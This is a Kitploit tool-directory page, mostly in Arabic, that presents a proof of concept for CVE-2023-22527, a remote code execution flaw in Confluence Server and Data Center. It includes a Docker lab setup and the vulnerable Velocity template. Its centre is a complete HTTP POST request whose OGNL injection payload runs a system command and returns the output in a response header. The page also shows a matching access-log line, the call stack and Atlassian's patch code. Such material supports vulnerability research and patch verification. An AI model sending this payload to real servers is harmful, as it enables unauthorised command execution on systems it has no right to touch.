Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2023-22527_Confluence_RCE — CVE-2023-22527 - ثغرة RCE (تنفيذ التعليمات البرمجية عن بُعد) في Confluence Data Center و Confluence Server PoC | Kitploit
أدوات/GitHubGitHub/avento/cve-2023-22527_confluence_rce
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالفريق الأحمرتطوير الحمولات
GitHubavento/cve-2023-22527_confluence_rce

CVE-2023-22527_Confluence_RCE

CVE-2023-22527 - ثغرة RCE (تنفيذ التعليمات البرمجية عن بُعد) في Confluence Data Center و Confluence Server PoC

عرض المستودع
265منذ 2 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2023-22527 ثغرة RCE في Confluence

CVE-2023-22527 - ثغرة تنفيذ التعليمات البرمجية عن بُعد (RCE) في Confluence Data Center و Confluence Server - PoC

المراجع

CVE-2023-22527 - ثغرة RCE (Remote Code Execution) في Confluence Data Center و Confluence Server | دعم Atlassian | توثيق Atlassian

CONFSERVER-93833] RCE (Remote Code Execution) في Confluence Data Center و Server - CVE-2023-22527 - إنشاء وتتبع طلبات الميزات لمنتجات Atlassian.

https://twitter.com/TheDFIRReport/status/1749066611678466205

Atlassian Confluence - تنفيذ التعليمات البرمجية عن بُعد (CVE-2023-22527) (projectdiscovery.io)

تجاوز صناديق الحماية OGNL من أجل المتعة والأعمال الخيرية - مدونة GitHub

بيئة Docker

root@kitploit:~
docker compose up -d

التصحيح

يمكنك التصحيح على المنفذ 5008

الفرق

image-20240117093518010

موقع الثغرة

./confluence/confluence/template/aui/text-inline.vm

root@kitploit:~
#set( $labelValue = $stack.findValue("getText('$parameters.label')") )
#if( !$labelValue )
    #set( $labelValue = $parameters.label )
#end

#if (!$parameters.id)
    #set( $parameters.id = $parameters.name)
#end

<label id="${parameters.id}-label" for="$parameters.id">
$!labelValue
#if($parameters.required)
    <span class="aui-icon icon-required"></span>
    <span class="content">$parameters.required</span>
#end
</label>

#parse("/template/aui/text-include.vm")

PoC

root@kitploit:~
POST /template/aui/text-inline.vm HTTP/1.1
Host: 192.168.31.3:8092
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 287

label=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&[email protected]@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({"id"}))

الفحص الذاتي

في confluence/logs/confluence_access.2024-xx-xx.log

root@kitploit:~
192.168.11.1 - [23/Jan/2024:06:04:42 +0000] "POST /template/aui/text-inline.vm HTTP/1.1" 200 28906 677 /template/aui/text-inline.vm http-nio-8090-exec-7 "-"

المكدس

org.apache.struts2.views.velocity.StrutsVelocityContext#internalGet

↓

org.apache.struts2.views.jsp.ui.OgnlTool#findValue

↓

freemarker.template.utility.Execute

↓

java.lang.Runtime#exec(java.lang.String)

الكلمة المفتاحية

Velocity,SSTI Injection

التصحيح

root@kitploit:~
package com.atlassian.confluence.impl.struts;

import java.util.Set;
import ognl.Node;
import org.apache.struts2.ognl.StrutsOgnlGuard;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;

public class ConfluenceOgnlGuard extends StrutsOgnlGuard {
    private static final Logger LOG = LoggerFactory.getLogger(ConfluenceOgnlGuard.class);
    private static final Set<String> BLOCKED_VAR_REFS = Set.of("#context", "#request", "#parameters", "#session", "#application", "#attr");

    public ConfluenceOgnlGuard() {
    }

    protected boolean skipTreeCheck(Node tree) {
        return false;
    }

    protected boolean checkNode(Node node) {
        return super.checkNode(node) || this.isBlockedVarRef(node);
    }

    protected boolean isBlockedVarRef(Node node) {
        String nodeClassName = node.getClass().getName();
        if ("ognl.ASTVarRef".equals(nodeClassName)) {
            String varRefValue = node.toString();
            if (BLOCKED_VAR_REFS.contains(varRefValue)) {
                if (!"#attr".equals(varRefValue)) {
                    LOG.warn("Expression contains blocked var ref [{}]", varRefValue);
                }

                return true;
            }
        }

        return false;
    }
}
تنزيل الأداة